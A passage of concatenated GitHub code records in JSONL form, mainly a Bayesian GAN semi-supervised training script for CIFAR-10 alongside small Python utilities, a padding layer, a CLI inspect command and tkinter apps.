return self.best_agent\n\n def evaluate(self, plot_function=None, agent=None, bounds=None, title=' '):\n\n if agent is None:\n agent = self.best_agent\n plt.figure(figsize=(13, 8))\n plt.plot(range(len(self.best_objs)), self.best_objs)\n plt.plot(range(len(self.best_test_objs)), self.best_test_objs)\n plt.title('Training Graph', fontsize=24)\n plt.xlabel('Iterations', fontsize=20)\n plt.ylabel('Cost', fontsize=20)\n plt.legend(['Train', 'Test'], fontsize=14)\n plt.show()\n\n if plot_function is not None:\n plot_function(agent, self.Xtest, self.ytest, title=title, savefig=False)\n\n print(f\"Best agent is {agent} with a train cost of {np.round(self.NN_obj(agent).cpu().detach(), 5)}.\")\n print(f\"And a test cost of {np.round(self.obj(agent(self.Xtest)[0].T, self.ytest).cpu().detach(), 5)}\")\n\n # print(f\"Worst initialization was {self.initial_worst_agent} with a cost of \\\n # {np.round(self.obj(self.initial_worst_agent), 2)}.\")\n\n pass\n\n def accuracy(self, predictions, ytest):\n predictions = predictions.argmax(axis=1)\n correct_preds = ytest == predictions\n return torch.sum(correct_preds) / len(ytest)\n\n def early_stop_training(self, patience, measure='cost', eval=True, v=True):\n\n n = 1\n iterations = 0\n if measure == 'cost':\n no_iterations_rising = 0\n val_error = 20000\n obj_all = torch.Tensor([self.NN_obj(agent) for agent in self.pop])\n self.opt_agent = copy.deepcopy(self.pop[torch.argmin(obj_all)])\n opt_iterations = iterations\n testcosts = []\n\n while (no_iterations_rising < patience):\n self.evolution(num_epochs=n, verbose=False, print_epoch=1)\n iterations = iterations + n\n val_error_new = self.obj(self.best_agent(self.Xtest)[0].T, self.ytest)\n testcosts.append(val_error_new.item())\n if (val_error_new < val_error):\n if v: print(f\"{iterations}: Test Cost Falling {val_error_new}\")\n no_iterations_rising = 0\n self.opt_agent = copy.deepcopy(self.best_agent)\n opt_iterations = iterations\n val_error = val_error_new\n else:\n no_iterations_rising += n\n\n testcosts = np.array(testcosts)\n if v:\n print(\"Optimal number of iterations:\", opt_iterations)\n print(\"Best error:\", val_error)\n print(\"Error at stop:\", val_error_new)\n\n elif measure == 'accuracy':\n no_iterations_falling = 0\n val_acc = 0\n opt_iterations = iterations\n testcosts = []\n obj_all = torch.Tensor([self.NN_obj(agent) for agent in self.pop])\n self.opt_agent = copy.deepcopy(self.pop[torch.argmin(obj_all)])\n\n while (no_iterations_falling < patience):\n self.evolution(num_epochs=n, verbose=False, print_epoch=1)\n iterations = iterations + n\n val_acc_new = self.accuracy(self.best_agent(self.Xtest), self.ytest)\n testcosts.append(val_acc_new.item())\n if (val_acc_new > val_acc):\n if v: print(f\"{iterations}: Test Accuracy Rising {val_acc_new}\")\n no_iterations_falling = 0\n self.opt_agent = copy.deepcopy(self.best_agent)\n opt_iterations = iterations\n val_acc = val_acc_new\n else:\n no_iterations_falling += n\n # print(\"Falling or the same\")\n\n if v:\n print(\"Optimal number of iterations:\", opt_iterations)\n print(\"Best accuracy:\", val_acc)\n print(\"Accuracy at stop:\", val_acc_new)\n\n if eval:\n plt.figure(figsize=(13, 8))\n plt.plot(testcosts)\n plt.title('Test Cost Graph', fontsize=24)\n plt.xlabel('Iterations', fontsize=20)\n plt.ylabel('Test Cost', fontsize=20)\n plt.show()\n\n return self.best_agent, self.opt_agent\n\n\n\n\n\n\n","repo_name":"FaxMan1/Master-Thesis","sub_path":"DE_Pytorch.py","file_name":"DE_Pytorch.py","file_ext":"py","file_size_in_byte":8792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"31947234242","text":"import sys\n\nresult = {}\nif __name__ == '__main__':\n for ln in sys.stdin:\n try:\n split = ln.split()\n od = split[0]\n for idx, val in enumerate(split[3].split(\";\")):\n if val.split(\":\")[2] == \"1\":\n key = od + \"_\" + val.split(\"|\")[0]\n if not result.has_key(key):\n result[key] = set([])\n result[key].add(split[1])\n except Exception as e:\n print(\"error:\", e)\n\n for key, val in result.iteritems():\n f = open(\"xunfei\" + key, \"a\")\n for m in val:\n f.write(m + \"\\n\")\n f.close()\n","repo_name":"chenfangzhi123/pyDemo","sub_path":"count.py","file_name":"count.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25913055736","text":"# common matrix functions for 081, 082 and 083\nfrom dijkstra import Node\n\ndef load_matrix_from_file(filename):\n matrix = []\n f = open(filename, \"r\")\n for line in f:\n matrix.append([int(x) for x in line.strip().split(\",\")]) \n f.close()\n return matrix\n\ndef node_at(nd,x,y,value):\n key = \"{},{}\".format(x,y)\n if key in nd:\n return nd[key]\n node = Node(value)\n nd[key] = node\n return node\n\ndef convert_matrix_to_graph(m,\n include_right=False,include_left=False,include_down=False,include_up=False):\n nd = {} # node dictionary, key = \"1,5\" index in matrix\n all_nodes = []\n for x,row in enumerate(m):\n for y,value in enumerate(row):\n curr = node_at(nd, x, y, value)\n all_nodes.append(curr)\n if include_right and y < len(row)-1:\n right = node_at(nd, x, y+1, m[x][y+1])\n curr.add_neighbor(right)\n if include_left and y > 0:\n left = node_at(nd, x, y-1, m[x][y-1])\n curr.add_neighbor(left)\n if include_down and x < len(m)-1:\n down = node_at(nd, x+1, y, m[x+1][y])\n curr.add_neighbor(down)\n if include_up and x > 0:\n up = node_at(nd, x-1, y, m[x-1][y])\n curr.add_neighbor(up)\n return all_nodes\n","repo_name":"MrDeshaies/NOT-projecteuler.net","sub_path":"euler_081_083_matrix.py","file_name":"euler_081_083_matrix.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38063729425","text":"# # Training\n# \n# We show that Bayesian GAN can capture the data distribution by measuring its performance in the semi-supervised setting. We will perform the posterior update as outline in Algorithm 1 in Saatchi (2017). This algorithm can be implemented quite simply by adding noise to standard optimizers such as SGD with momentum and keep track of the parameters we sample from the posterior. \n\n# ![Posterior Sampling Algorithm](figs/bgan_alg1.png)\n\n# ### SGHMC by Optimizing a Noisy Loss\n# \n# First, observe that the update rules are similar to momentum SGD except for the noise $\\boldsymbol{n}$. In fact, without $\\boldsymbol{n}$, this is equivalent to performing momentum SGD with the loss is $- \\sum_{i=1}{J_g} \\sum_{k=1}^{J_d} \\log \\text{posterior} $. We will describe the case where $J_g = J_d=1$ for simplicity. \n# \n# We use the main loss $\\mathcal{L} = - \\log p(\\theta | ..)$ and add a noise loss $\\mathcal{L}_\\text{noise} = \\frac{1}{\\eta} \\theta \\cdot \\boldsymbol{n}$ where $\\boldsymbol{n} \\sim \\mathcal{N}(0, 2 \\alpha \\eta I)$ so that optimizing the loss function $\\mathcal{L} + \\mathcal{L}_\\text{noise}$ with momentum SGD is equivalent to performing the SGHMC update step. \n# \n# Below (Equation 3 and 4) are the posterior probabilities where each error term corresponds its negative log probability.\n\n# ![Posterior Distributions](figs/posterior_eqs2.png)\n\n#from __future__ import print_function\nimport os, pickle\nimport numpy as np\nimport random, math\nimport torch\nimport torch.nn as nn\nimport torch.nn.parallel\nimport torch.backends.cudnn as cudnn\nimport torch.optim as optim\nimport torch.utils.data\nimport torchvision.datasets as dset\nimport torchvision.transforms as transforms\nimport torchvision.utils as vutils\nfrom torch.autograd import Variable\nfrom statsutil import AverageMeter, accuracy\nfrom tensorboard_logger import configure, log_value\n\n# Default Parameters\nimport argparse\nparser = argparse.ArgumentParser()\nparser.add_argument('--dataset', default='cifar10')\nparser.add_argument('--imageSize', type=int, default=32)\nparser.add_argument('--batchSize', type=int, default=64, help='input batch size')\nparser.add_argument('--nz', type=int, default=100, help='size of the latent z vector')\nparser.add_argument('--niter', type=int, default=2, help='number of epochs to train for')\nparser.add_argument('--lr', type=float, default=0.0002, help='learning rate, default=0.0002')\nparser.add_argument('--cuda', type=int, default=1, help='enables cuda')\nparser.add_argument('--ngpu', type=int, default=1, help='number of GPUs to use')\nparser.add_argument('--outf', default='modelfiles/pytorch_demo3', help='folder to output images and model checkpoints')\nparser.add_argument('--numz', type=int, default=1, help='The number of set of z to marginalize over.')\nparser.add_argument('--num_mcmc', type=int, default=10, help='The number of MCMC chains to run in parallel')\nparser.add_argument('--num_semi', type=int, default=4000, help='The number of semi-supervised samples')\nparser.add_argument('--gnoise_alpha', type=float, default=0.0001, help='')\nparser.add_argument('--dnoise_alpha', type=float, default=0.0001, help='')\nparser.add_argument('--d_optim', type=str, default='adam', choices=['adam', 'sgd'], help='')\nparser.add_argument('--g_optim', type=str, default='adam', choices=['adam', 'sgd'], help='')\nparser.add_argument('--stats_interval', type=int, default=10, help='Calculate test accuracy every interval')\nparser.add_argument('--tensorboard', type=int, default=1, help='')\nparser.add_argument('--bayes', type=int, default=1, help='Do Bayesian GAN or normal GAN')\nimport sys; sys.argv=['']; del sys\nopt = parser.parse_args()\ntry:\n os.makedirs(opt.outf)\nexcept OSError:\n print(\"Error Making Directory\", opt.outf)\n pass\nif opt.tensorboard: configure(opt.outf)\n\n# First, we construct the data loader for full training set \n# as well as the data loader of a partial training set for semi-supervised learning\n# transformation operator\nnormalize = transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))\ntransform_opt = transforms.Compose([\n transforms.ToTensor(),\n normalize,\n ])\n# get training set and test set\ndataset = dset.CIFAR10(root=\"./cifar10\", download=True,\n transform=transform_opt) \ndataloader = torch.utils.data.DataLoader(dataset, batch_size=opt.batchSize,\n shuffle=True, num_workers=0)\n\nfrom partial_dataset import PartialDataset\n# partial dataset for semi-supervised training\ndataset_partial = PartialDataset(dataset, opt.num_semi)\n\n\n# test set for evaluation\ndataset_test = dset.CIFAR10(root=\"./cifar10\",\n train=False,\n transform=transform_opt)\ndataloader_test = torch.utils.data.DataLoader(dataset_test,\n batch_size=opt.batchSize, shuffle=False, pin_memory=True, num_workers=0)\n\ndataloader_semi = torch.utils.data.DataLoader(dataset_partial, batch_size=opt.batchSize,\n shuffle=True, num_workers=0)\n\n\n# Now we initialize the distributions of G and D\n##### Generator ######\n# opt.num_mcmc is the number of MCMC chains that we run in parallel\n# opt.numz is the number of noise batches that we use. We also use different parameter samples for different batches\n# we construct opt.numz * opt.num_mcmc initial generator parameters\n# We will keep sampling parameters from the posterior starting from this set\n# Keeping track of many MCMC chains can be done quite elegantly in Pytorch\nfrom utils.BayesianCGANModels.discriminators import _BayesianLeNetD, _netD\nfrom utils.BayesianCGANModels.generators import _BayesianNetG #_netG\nfrom statsutil import weights_init\nnetGs = []\nfor _idxz in range(opt.numz):\n for _idxm in range(opt.num_mcmc):\n netG = _BayesianNetG(noize=opt.nz)\n #netG.apply(weights_init)\n netGs.append(netG)\n \n##### Discriminator ######\n# We will use 1 chain of MCMCs for the discriminator\n# The number of classes for semi-supervised case is 11; that is,\n# index 0 for fake data and 1-10 for the 10 classes of CIFAR.\nnum_classes = 11\nnetD = _netD(opt.ngpu, num_classes=num_classes)\n#netD = _BayesianLeNetD(1,3)\n\n# In order to calculate errG or errD_real, we need to sum the probabilities over all the classes (1 to K)\n# ComplementCrossEntropyLoss is a loss function that performs this task\n# We can specify a default except_index that corresponds to a fake label. In this case, we use index=0\nfrom ComplementCrossEntropyLoss import ComplementCrossEntropyLoss\ncriterion = nn.CrossEntropyLoss()\n# use the default index = 0 - equivalent to summing all other probabilities\ncriterion_comp = ComplementCrossEntropyLoss(except_index=0)\n\n\nfrom utils.BayesianCGANModels.distributions import Normal\nfrom utils.BayesianCGANModels.bayes import NoiseLoss, PriorLoss\n# Finally, initialize the ``optimizers''\n# Since we keep track of a set of parameters, we also need a set of\n# ``optimizers''\nif opt.d_optim == 'adam':\n optimizerD = optim.Adam(netD.parameters(), lr=opt.lr, betas=(0.5, 0.999))\nelif opt.d_optim == 'sgd':\n optimizerD = torch.optim.SGD(netD.parameters(), lr=opt.lr,\n momentum=0.9,\n nesterov=True,\n weight_decay=1e-4)\noptimizerGs = []\nfor netG in netGs:\n optimizerG = optim.Adam(netG.parameters(), lr=opt.lr, betas=(0.5, 0.999))\n optimizerGs.append(optimizerG)\n\n# since the log posterior is the average per sample, we also scale down the prior and the noise\ngprior_criterion = PriorLoss(prior_std=1., observed=1000.)\ngnoise_criterion = NoiseLoss(params=netGs[0].parameters(), scale=math.sqrt(2*opt.gnoise_alpha/opt.lr), observed=1000.)\ndprior_criterion = PriorLoss(prior_std=1., observed=50000.)\ndnoise_criterion = NoiseLoss(params=netD.parameters(), scale=math.sqrt(2*opt.dnoise_alpha*opt.lr), observed=50000.)\n\n\n# Fixed noise for data generation\nfixed_noise = torch.FloatTensor(opt.batchSize, opt.nz, 1, 1).normal_(0, 1).cuda()\nfixed_noise = Variable(fixed_noise)\n\n# initialize input variables and use CUDA (optional)\ninput = torch.FloatTensor(opt.batchSize, 3, opt.imageSize, opt.imageSize)\nnoise = torch.FloatTensor(opt.batchSize, opt.nz, 1, 1)\nlabel = torch.FloatTensor(opt.batchSize)\nreal_label = 1\nfake_label = 0\n\nif opt.cuda:\n netD.cuda()\n for netG in netGs:\n netG.cuda()\n criterion.cuda()\n criterion_comp.cuda()\n input, label = input.cuda(), label.cuda()\n noise = noise.cuda()\n\n\n# fully supervised\n#netD_fullsup = _BayesianLeNetD(1,3)\nnetD_fullsup = _netD(opt.ngpu, num_classes=num_classes)\nnetD_fullsup.apply(weights_init) #was not commented out\ncriterion_fullsup = nn.CrossEntropyLoss()\nif opt.d_optim == 'adam':\n optimizerD_fullsup = optim.Adam(netD_fullsup.parameters(), lr=opt.lr, betas=(0.5, 0.999))\nelse:\n optimizerD_fullsup = optim.SGD(netD_fullsup.parameters(), lr=opt.lr,\n momentum=0.9,\n nesterov=True,\n weight_decay=1e-4)\nif opt.cuda:\n netD_fullsup.cuda()\n criterion_fullsup.cuda()\n\n\n# We define a class to calculate the accuracy on test set\n# to test the performance of semi-supervised training\ndef get_test_accuracy(model_d, iteration, label='semi'):\n # don't forget to do model_d.eval() before doing evaluation\n top1 = AverageMeter()\n for i, (input, target) in enumerate(dataloader_test):\n target = target.cuda()\n input = input.cuda()\n input_var = torch.autograd.Variable(input.cuda(), volatile=True)\n target_var = torch.autograd.Variable(target, volatile=True)\n output = model_d(input_var)\n\n probs = output.data[:, 1:] # discard the zeroth index\n prec1 = accuracy(probs, target, topk=(1,))[0]\n #top1.update(prec1[0], input.size(0))\n top1.update(prec1, input.size(0))\n if i % 50 == 0:\n print(\"{} Test: [{}/{}]\\t Prec@1 {top1.val:.3f} ({top1.avg:.3f})\".format(label, i, len(dataloader_test), top1=top1))\n print('{label} Test Prec@1 {top1.avg:.2f}'.format(label=label, top1=top1))\n log_value('test_acc_{}'.format(label), top1.avg, iteration)\n\n\niteration = 0\nfor epoch in range(opt.niter):\n top1 = AverageMeter()\n top1_weakD = AverageMeter()\n for i, data in enumerate(dataloader):\n iteration += 1\n #######\n # 1. real input\n netD.zero_grad()\n _input, _ = data\n batch_size = _input.size(0)\n if opt.cuda:\n _input = _input.cuda()\n input.resize_as_(_input).copy_(_input) \n label.resize_(batch_size).fill_(real_label) \n inputv = Variable(input)\n labelv = Variable(label)\n \n output = netD(inputv)#used to have no [0] index\n print(output.shape)\n errD_real = criterion_comp(output)\n errD_real.backward()\n # calculate D_x, the probability that real data are classified \n D_x = 1 - torch.nn.functional.softmax(output).data[:, 0].mean()\n \n #######\n # 2. Generated input\n fakes = []\n for _idxz in range(opt.numz):\n noise.resize_(batch_size, opt.nz, 1, 1).normal_(0, 1)\n noisev = Variable(noise)\n for _idxm in range(opt.num_mcmc):\n idx = _idxz*opt.num_mcmc + _idxm\n netG = netGs[idx]\n _fake = netG(noisev)[0]\n fakes.append(_fake)\n fake = torch.cat(fakes)\n output = netD(fake.detach())#used to have no [0] index\n labelv = Variable(torch.LongTensor(fake.data.shape[0]).cuda().fill_(fake_label))\n errD_fake = criterion(output, labelv)\n errD_fake.backward()\n \n D_G_z1 = 1 - torch.nn.functional.softmax(output).data[:, 0].mean()\n \n #######\n # 3. Labeled Data Part (for semi-supervised learning)\n for ii, (input_sup, target_sup) in enumerate(dataloader_semi):\n input_sup, target_sup = input_sup.cuda(), target_sup.cuda()\n break\n input_sup_v = Variable(input_sup.cuda())\n # convert target indicies from 0 to 9 to 1 to 10\n target_sup_v = Variable( (target_sup + 1).cuda())\n output_sup = netD(input_sup_v) #used to have no [0] index\n err_sup = criterion(output_sup, target_sup_v)\n err_sup.backward()\n prec1 = accuracy(output_sup.data, target_sup + 1, topk=(1,))[0]\n #top1.update(prec1[0], input_sup.size(0))\n top1.update(prec1,input_sup.size(0))\n if opt.bayes:\n errD_prior = dprior_criterion(netD.parameters())\n errD_prior.backward()\n errD_noise = dnoise_criterion(netD.parameters())\n errD_noise.backward()\n errD = errD_real + errD_fake + err_sup + errD_prior + errD_noise\n else:\n errD = errD_real + errD_fake + err_sup\n optimizerD.step()\n \n # 4. Generator\n for netG in netGs:\n netG.zero_grad()\n labelv = Variable(torch.FloatTensor(fake.data.shape[0]).cuda().fill_(real_label))\n output = netD(fake)\n errG = criterion_comp(output)\n if opt.bayes:\n for netG in netGs:\n errG += gprior_criterion(netG.parameters())\n errG += gnoise_criterion(netG.parameters())\n errG.backward()\n D_G_z2 = 1 - torch.nn.functional.softmax(output).data[:, 0].mean()\n for optimizerG in optimizerGs:\n optimizerG.step()\n \n # 5. Fully supervised training (running in parallel for comparison)\n netD_fullsup.zero_grad()\n input_fullsup = Variable(input_sup)\n target_fullsup = Variable((target_sup + 1))\n output_fullsup = netD_fullsup(input_fullsup)#used to have no [0] index\n err_fullsup = criterion_fullsup(output_fullsup, target_fullsup)\n optimizerD_fullsup.zero_grad()\n err_fullsup.backward()\n optimizerD_fullsup.step()\n \n # 6. get test accuracy after every interval\n if iteration % opt.stats_interval == 0:\n # get test accuracy on train and test\n netD.eval()\n get_test_accuracy(netD, iteration, label='semi')\n get_test_accuracy(netD_fullsup, iteration, label='sup')\n netD.train()\n \n # 7. Report for this iteration\n cur_val, ave_val = top1.val, top1.avg\n log_value('train_acc', top1.avg, iteration)\n #print('[%d/%d][%d/%d] Loss_D: %.2f Loss_G: %.2f D(x): %.2f D(G(z)): %.2f / %.2f | Acc %.1f / %.1f' % (epoch, opt.niter, i, len(dataloader),errD.data[0], errG.data[0], D_x, D_G_z1, D_G_z2, cur_val, ave_val))\n print('[%d/%d][%d/%d] Loss_D: %.2f Loss_G: %.2f D(x): %.2f D(G(z)): %.2f / %.2f | Acc %.1f / %.1f'\n % (epoch, opt.niter, i, len(dataloader),\n errD.data, errG.data, D_x, D_G_z1, D_G_z2, cur_val, ave_val))\n # after each epoch, save images\n vutils.save_image(_input,\n '%s/real_samples.png' % opt.outf,\n normalize=True)\n for _zid in range(opt.numz):\n for _mid in range(opt.num_mcmc):\n idx = _zid*opt.num_mcmc + _mid\n netG = netGs[idx]\n fake = netG(fixed_noise)[0]\n vutils.save_image(fake.data,\n '%s/fake_samples_epoch_%03d_G_z%02d_m%02d.png' % (opt.outf, epoch, _zid, _mid),\n normalize=True)\n for ii, netG in enumerate(netGs):\n torch.save(netG.state_dict(), '%s/netG%d_epoch_%d.pth' % (opt.outf, ii, epoch))\n torch.save(netD.state_dict(), '%s/netD_epoch_%d.pth' % (opt.outf, epoch))\n torch.save(netD_fullsup.state_dict(), '%s/netD_fullsup_epoch_%d.pth' % (opt.outf, epoch))\n\n\n#from tensorflow.python.summary import event_accumulator\nfrom tensorboard.backend.event_processing import event_accumulator\nimport pandas as pd\nfrom plotnine import *\nea = event_accumulator.EventAccumulator(opt.outf)\nea.Reload()\n\n_df1 = pd.DataFrame(ea.Scalars('test_acc_semi'))\n_df2 = pd.DataFrame(ea.Scalars('test_acc_sup'))\ndf = pd.DataFrame()\ndf['Iteration'] = pd.concat([_df1['step'], _df2['step']])\ndf['Accuracy'] = pd.concat([_df1['value'], _df2['value']])\ndf['Classification'] = ['BayesGAN']*len(_df1['step']) + ['Baseline']*len(_df2['step'])\n\n\n# The results show that the Bayesian discriminator trained with the Bayesian generator outperforms the discriminator trained on partial data.\n\n\np = ggplot(df, aes(x='Iteration', y='Accuracy', color='Classification', label='Classification')) + geom_point(size=0.5)\nprint(p)\n","repo_name":"gumin2020/MyDissertation","sub_path":"Convolutional_BayesianGAN/Bayesian GAN in PyTorch.py","file_name":"Bayesian GAN in PyTorch.py","file_ext":"py","file_size_in_byte":16531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35776645612","text":"from tkinter import *\nimport pandas as pd\nfrom random import choice\n\nBACKGROUND_COLOR = \"#B1DDC6\"\ncurrent_word = {}\ndata_dict = {}\n\ntry:\n data = pd.read_csv('Files/words_to_learn.csv')\nexcept FileNotFoundError:\n original_data = pd.read_csv('Files/french_words.csv')\n data_dict = original_data.to_dict(orient=\"records\")\nelse:\n data_dict = data.to_dict(orient=\"records\")\n\n\ndef change_word():\n global current_word, flip_timer\n window.after_cancel(flip_timer)\n current_word = choice(data_dict)\n canvas.itemconfig(lang, text=\"French\", fill=\"black\")\n canvas.itemconfig(word, text=f\"{current_word['French']}\", fill=\"black\")\n canvas.itemconfig(canvas_image, image=card_front_image)\n flip_timer = window.after(3000, func=flip_card)\n\n\ndef flip_card():\n canvas.itemconfig(lang, text=\"English\", fill=\"white\")\n canvas.itemconfig(word, text=f\"{current_word['English']}\", fill=\"white\")\n canvas.itemconfig(canvas_image, image=card_back_image)\n\n\ndef known_words():\n data_dict.remove(current_word)\n new_data = pd.DataFrame(data_dict)\n new_data.to_csv(\"Files/words_to_learn.csv\", index=False)\n\n change_word()\n\n\nwindow = Tk()\nwindow.title(\"Flash Card App\")\nwindow.config(padx=50, pady=50, bg=BACKGROUND_COLOR)\n\nwindow.tk.call('source', 'Files/azure.tcl')\nwindow.tk.call('set_theme', 'light')\n\nflip_timer = window.after(3000, func=flip_card)\n\ncanvas = Canvas(width=800, height=530, highlightthickness=0, bg=BACKGROUND_COLOR)\ncard_front_image = PhotoImage(file='Files/card_front.png')\ncard_back_image = PhotoImage(file='Files/card_back.png')\nright_image = PhotoImage(file='Files/right.png')\nwrong_image = PhotoImage(file='Files/wrong.png')\ncanvas_image = canvas.create_image(400, 263, image=card_front_image)\nlang = canvas.create_text(400, 200, text=\"\", font=(\"Poppins\", 25))\nword = canvas.create_text(400, 300, text=\"\", font=(\"Poppins\", 76, \"bold\"))\ncanvas.grid(row=1, column=1, columnspan=3)\n\nright_btn = Button(image=right_image, border=0, bg=BACKGROUND_COLOR, cursor='hand2',\n command=known_words, activebackground=BACKGROUND_COLOR)\nright_btn.grid(row=2, column=3)\n\nwrong_btn = Button(image=wrong_image, bg=BACKGROUND_COLOR, border=0, cursor='hand2',\n command=change_word, activebackground=BACKGROUND_COLOR)\nwrong_btn.grid(row=2, column=1)\n\nchange_word()\n\nwindow.mainloop()\n","repo_name":"Maliksidk19/100DaysOfPython","sub_path":"Day31_flashCardApp.py","file_name":"Day31_flashCardApp.py","file_ext":"py","file_size_in_byte":2346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25103747720","text":"\"\"\"Implements the padding layer.\"\"\"\nimport typing\n\nfrom decaf.base import Layer, Blob\n\n\nclass PaddingLayer(Layer):\n \"\"\"A Layer that pads a matrix.\"\"\"\n\n def __init__(self, **kwargs):\n \"\"\"\n Initializes a padding layer.\n kwargs:\n 'pad': the number of pixels to pad, Should be non-negative. If pad is 0, the layer will simply mirror the\n input.\n 'value': the value inserted to the padded area. Default 0.\n \"\"\"\n Layer.__init__(self, **kwargs)\n self._pad: int = self.spec['pad']\n self._value: float = self.spec.get('value', 0)\n if self._pad < 0:\n raise ValueError('Padding should be non-negative.')\n\n def forward(self,\n bottom: typing.List[Blob],\n top: typing.List[Blob]):\n \"\"\"Computes the forward pass.\"\"\"\n if self._pad == 0:\n top[0].mirror(bottom[0].data())\n return\n features = bottom[0].data()\n pad = self._pad\n new_shape = (features.shape[0],\n features.shape[1] + pad * 2,\n features.shape[2] + pad * 2) + features.shape[3:]\n output = top[0].init_data(new_shape, features.dtype)\n output[:] = self._value\n output[:, pad:-pad, pad:-pad] = features\n\n def backward(self,\n bottom: typing.List[Blob],\n top: typing.List[Blob],\n propagate_down: bool):\n \"\"\"Computes the backward pass.\"\"\"\n if not propagate_down:\n return 0.\n if self._pad == 0:\n bottom[0].mirror_diff(top[0].diff())\n else:\n pad = self._pad\n top_diff = top[0].diff()\n bottom_diff = bottom[0].init_diff()\n bottom_diff[:] = top_diff[:, pad:-pad, pad:-pad]\n return 0.\n\n def update(self):\n \"\"\"Padding has nothing to update.\"\"\"\n pass\n","repo_name":"xinpingwang/decaf","sub_path":"decaf/layers/padding.py","file_name":"padding.py","file_ext":"py","file_size_in_byte":1907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"526280271","text":"import click\nfrom rapyuta_io import Build\n\nfrom riocli.build.util import name_to_guid\nfrom riocli.config import new_client\nfrom riocli.utils import inspect_with_format\n\n\n@click.command('inspect')\n@click.option('--format', '-f', 'format_type', default='yaml',\n type=click.Choice(['json', 'yaml'], case_sensitive=False))\n@click.argument('build-name', required=True)\n@name_to_guid\ndef inspect_build(format_type: str, build_guid: str, build_name: str) -> None:\n \"\"\"\n Inspect the build resource\n \"\"\"\n try:\n client = new_client()\n build = client.get_build(build_guid, include_build_requests=True)\n data = make_build_inspectable(build)\n inspect_with_format(data, format_type)\n except Exception as e:\n click.secho(str(e), fg='red')\n raise SystemExit(1)\n\n\ndef make_build_inspectable(build: Build) -> dict:\n build_requests = make_build_requests_inspectable(build)\n build_info = make_build_info_inspectable(build)\n return {\n 'created_at': build.CreatedAt,\n 'updated_at': build.UpdatedAt,\n 'deleted_at': build.DeletedAt,\n 'guid': build.guid,\n 'build_generation': build.buildGeneration,\n 'build_name': build.buildName,\n 'build_info': build_info,\n 'status': build.status,\n 'owner_project': build.ownerProject,\n 'creator': build.creator,\n 'docker_pull_info': build.dockerPullInfo,\n 'build_requests': build_requests,\n 'secret': build.secret,\n 'docker_pull_secret': build.dockerPullSecret,\n 'docker_push_secret': build.dockerPushSecret,\n 'docker_push_repository': build.dockerPushRepository,\n }\n\n\ndef make_build_info_inspectable(build: Build) -> dict:\n build_info = build.buildInfo\n return {\n 'repository': build_info.repository,\n 'strategy_type': build_info.strategyType,\n 'architecture': build_info.architecture,\n 'is_ros': build_info.isRos,\n 'ros_distro': build_info.rosDistro,\n 'simulation_options': {\n 'simulation': build_info.simulationOptions.simulation\n },\n 'build_options': build_info.buildOptions,\n 'branch': build_info.branch,\n 'docker_file_path': build_info.dockerFilePath,\n 'context_dir': build_info.contextDir,\n }\n\n\ndef make_build_requests_inspectable(build: Build) -> list:\n build_request_data = []\n for build_request in build.buildRequests:\n build_request_data.append({\n 'created_at': build_request['CreatedAt'],\n 'updated_at': build_request['UpdatedAt'],\n 'deleted_at': build_request['DeletedAt'],\n 'request_id': build_request['requestId'],\n 'is_complete': build_request['isComplete'],\n 'error_string': build_request['errorString'],\n 'owner_project': build_request['ownerProject'],\n 'creator': build_request['creator'],\n 'trigger_name': build_request['triggerName'],\n 'build_generation': build_request['buildGeneration'],\n 'git_metadata': make_git_metadata_inspectable(build_request['gitMetadata']),\n 'executable_image_info': make_executable_image_info_inspectable(build_request['executableImageInfo']),\n })\n return build_request_data\n\n\ndef make_git_metadata_inspectable(git_metadata: dict) -> dict:\n guid = list(git_metadata.keys())[0]\n guid_details = git_metadata[guid]\n guid_value = {\n 'author': {\n 'email': guid_details['author']['email'],\n 'name': guid_details['author']['name'],\n },\n 'branch': guid_details['branch'],\n 'commit': guid_details['commit'],\n 'committer': {\n 'email': guid_details['committer']['email'],\n 'name': guid_details['committer']['name'],\n },\n 'message': guid_details['message'],\n 'repository_url': guid_details['repositoryUrl']\n }\n return {\n guid: guid_value\n }\n\n\ndef make_executable_image_info_inspectable(exec_img_info: dict) -> dict:\n image_info_list = []\n for img_info in exec_img_info['imageInfo']:\n image_info_list.append({\n 'artifact_id': img_info['artifactID'],\n 'image_name': img_info['imageName'],\n })\n return {\n 'image_info': image_info_list\n }\n","repo_name":"rapyuta-robotics/rapyuta-io-cli","sub_path":"riocli/build/inspect.py","file_name":"inspect.py","file_ext":"py","file_size_in_byte":4309,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"36349618389","text":"import random\nimport tkinter as tk\nfrom tkinter import ttk # themed widgets\n\nWIDTH, HEIGHT = 490, 300\nBUTTON_WIDTH, BUTTON_HEIGHT = 22, 6\n\nroot = tk.Tk()\nroot.resizable(False, False)\nroot.geometry(f'{WIDTH}x{HEIGHT}')\nroot.title('rock_paper_scissors')\n\n\ndef play(choice):\n opponent = random.choice(['rock', 'paper', 'scissors'])\n opponentChoice['text'] = f'{opponent}'\n yourChoice['text'] = f'{choice}'\n if ((choice == 'rock' and opponent == 'scissors') or\n (choice == 'paper' and opponent == 'rock') or\n (choice == 'scissors' and opponent == 'paper')):\n winning['text'] = \"You Won\"\n\n t_splitted = statisticsValue['text'].split('/')\n statisticsValue['text'] = f'{int(t_splitted[0])+1}/{t_splitted[1]}/{t_splitted[2]}'\n elif choice == opponent:\n winning['text'] = \"Draw\"\n t_splitted = statisticsValue['text'].split('/')\n statisticsValue['text'] = f'{t_splitted[0]}/{t_splitted[1]}/{int(t_splitted[2])+1}'\n else:\n winning['text'] = \"You Lost\"\n t_splitted = statisticsValue['text'].split('/')\n statisticsValue['text'] = f'{t_splitted[0]}/{int(t_splitted[1])+1}/{t_splitted[2]}'\n\n\nframeUpper = tk.Frame(root)\n\nrock = tk.Button(frameUpper, text=\"rock\", width=BUTTON_WIDTH, 